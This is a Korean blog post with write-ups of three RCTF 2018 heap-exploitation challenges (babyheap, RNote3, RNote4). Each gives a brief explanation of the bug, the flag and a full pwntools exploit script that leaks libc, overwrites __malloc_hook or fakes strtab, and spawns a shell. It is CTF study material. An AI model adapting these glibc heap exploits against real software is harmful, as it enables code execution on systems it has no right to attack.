HanJeouk의 개인공부 블로그

2018 Rctf writeup

CTF2018. 5. 25. 20:29

1. babyheap (44 solved)

read를 입력받을 때 off_by_one 발생. 이걸로 Poison Null byte가 가능해진다. poison null byte로 컨트롤할 수 있는 fastbin 사이즈 청크를 만들고 그 청크가 위치한 주소에 small bin 사이즈 청크를 만들고 free 시켜서 leak이 가능하다. 그 다음 fastbin forge로 malloc_hook을 one_shot으로 덮는다.

FLAG: RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
#p = process(['./babyheap'],env={'LD_PRELOAD':'./Babyheap.so'})
= remote('babyheap.2018.teamrois.cn',3154)
libc = ELF("./Babyheap.so")
def alloc(size,content):
        p.sendlineafter("choice: ","1")
        p.sendlineafter("size: ",str(size))
        p.sendlineafter("content: ",content)
 
def show(idx):
        p.sendlineafter("choice: ","2")
        p.sendlineafter("index: ",str(idx))
 
def delete(idx):
        p.sendlineafter("choice: ","3")
        p.sendlineafter("index: ",str(idx))
 
alloc(60,"A"*52+p64(0))
alloc(0x100,"B"*240+p64(0x100))
alloc(130,"C"*40)
 
delete(1)
delete(0)
 
alloc(72,"a"*64+p64(0))
delete(1)
alloc(0x80,"D"*8)
alloc(0x60,"E"*0x20)
 
delete(1)
delete(2)
 
alloc(0x80,"F"*0x50)
alloc(0xf0,"G"*0xf0)
alloc(0xa0,"H"*0x50)
 
delete(2)
show(3)
p.recvuntil("content: ")
leak = u64(p.recv(6)+"\x00\x00")
base = leak -0x3c4b78
malloc_hook = base+0x3c4b10
fake = malloc_hook-0x23
one = base+0x4526a
 
alloc(0xf0,"g"*0x50)
 
delete(1)
delete(3)
delete(4)
 
alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+"B"*0x60+p64(0)+p64(0x20cc1))
delete(1)
delete(2)
 
print "malloc_hook: " + hex(malloc_hook)
print "fake_add: " + hex(fake)
 
alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+p64(fake))
alloc(0x60,"j"*8)
alloc(0x60,"P"*0x13+p64(one))
 
p.sendlineafter("choice: ","1")
p.sendlineafter("size: ","1")
p.sendline("cat flag")
p.interactive()
 
cs


2. RNote3 (33 solved)

delete 함수에서 ptr을 초기화하지 않아서 가리키는 포인터를 이용하여 전역변수에 등록된 힙 포인터를 0으로 초기화 시키지 않을 수 있다. 그렇게 릭을 하고 똑같은 방식으로 fastbin 청크로 만들고 free된 청크 fd에 malloc hook주소를 넣고 fastbin forge 시켜서 malloc_hook을 one_shot으로 덮은 다음에 free에서 오류를 일으켜 malloc를 호출시키게 해서 풀었다.

FLAG: RCTF{P1e4se_Be_C4refu1_W1th_Th3_P0inter_3c3d89}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
= process(["./RNote3"],env = {'LD_PRELOAD':'./rnote.6'})
#p = remote('rnote3.2018.teamrois.cn',7322)
def add(title,size,content):
        p.sendline("1")
        p.sendlineafter("title: ",str(title))
        p.sendlineafter("size: ",str(size))
        p.sendafter("content: ",str(content))
def view(title):
        p.sendline("2")
        p.sendlineafter("title: ",str(title))
def edit(title,content):
        p.sendline("3")
        p.sendlineafter("title: ",str(title))
        p.sendlineafter("content: ",str(content))
def delete(title):
        p.sendline("4")
        p.sendlineafter("title: ",str(title))
print p.recvline()
add("A",0xf8,"A"*8+"\x0a")
add("A",0xf8,"A"*8+"\x0a")
delete("A")
delete("A")
add("A",0xf8,"A"*0x10+"\n")
delete("qwe")
view("\x00")
p.recvuntil("note content: ")
base = u64(p.recv(6)+"\x00\x00")-0x3c4b78
address = base+0x3c4aed
one = base+0xf02a4
print "base: " + hex(base)
print "Attack_add: " + hex(address)
print "one: " + hex(one)
add("A",0xf8,"A"*0x10+"\x0a")
add("AA",0x68,"A"*0x68)
add("AA",0x68,"A"*0x68)
delete("AA")
delete("AA")
add("AA",0x68,"A"*0x68)
delete("qwe")
edit("\x00",p64(address))
add("AA",0x68,"A"*0x68)
add("AA",0x68,"A"*0x13+p64(one)+'\x0a')
delete(2)
p.interactive()
 
cs


3. RNote4 (24 solved)

취약점은 edit에서 원하는 사이즈 만큼 청크에 입력이 가능해서 포인터 부분을 조작할 수 있는 것이다. 이것을 이용해서 자신이 원하는 주소에 원하는 값을 넣는게 가능해진다. fake strtab을 만들고 원래 strtab을 가리키고 있던 포인터를 내가 만든 fake strtab으로 조작했다. free를 system으로 바꿨다. 그 전까지의 함수들은 사용하지 않기 때문에 다른 값으로 덮어도 상관없다. 그 뒤에 /bin/sh라는 문자열을 가진 청크를 하나 만들고 그 청크를 free 시켜서 풀었다.

FLAG: RCTF{I_kn0w_h0w_dl_f1xup_w0rks_503f8c}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
= process("./RNote4")
#p = remote('rnote4.2018.teamrois.cn',6767)
strtab = 0x601eb0
def add(size,content):
        p.send(p8(1))
        p.send(p8(size))
        p.send(content)
 
def edit(idx,size,content):
 
        p.send(p8(2))
        p.send(p8(idx))
        p.send(p8(size))
        p.send(content)
 
def delete(idx):
        p.send(p8(3))
        p.send(p8(idx))
 
add(0x20,"A"*0x20)
add(0x20,"B"*0x20)
edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(0x602100))
edit(1,0x65,"A"*0x5f+"system")
 
edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(strtab))
edit(1,0x8,p64(0x602100))
 
add(0x7,"/bin/sh")
delete(2)
p.interactive()
 
cs


 

'CTF' 카테고리의 다른 글

??CTF 2  (0) 2018.11.29
??CTF 1  (0) 2018.11.29
2018 0ctf babystack  (0) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03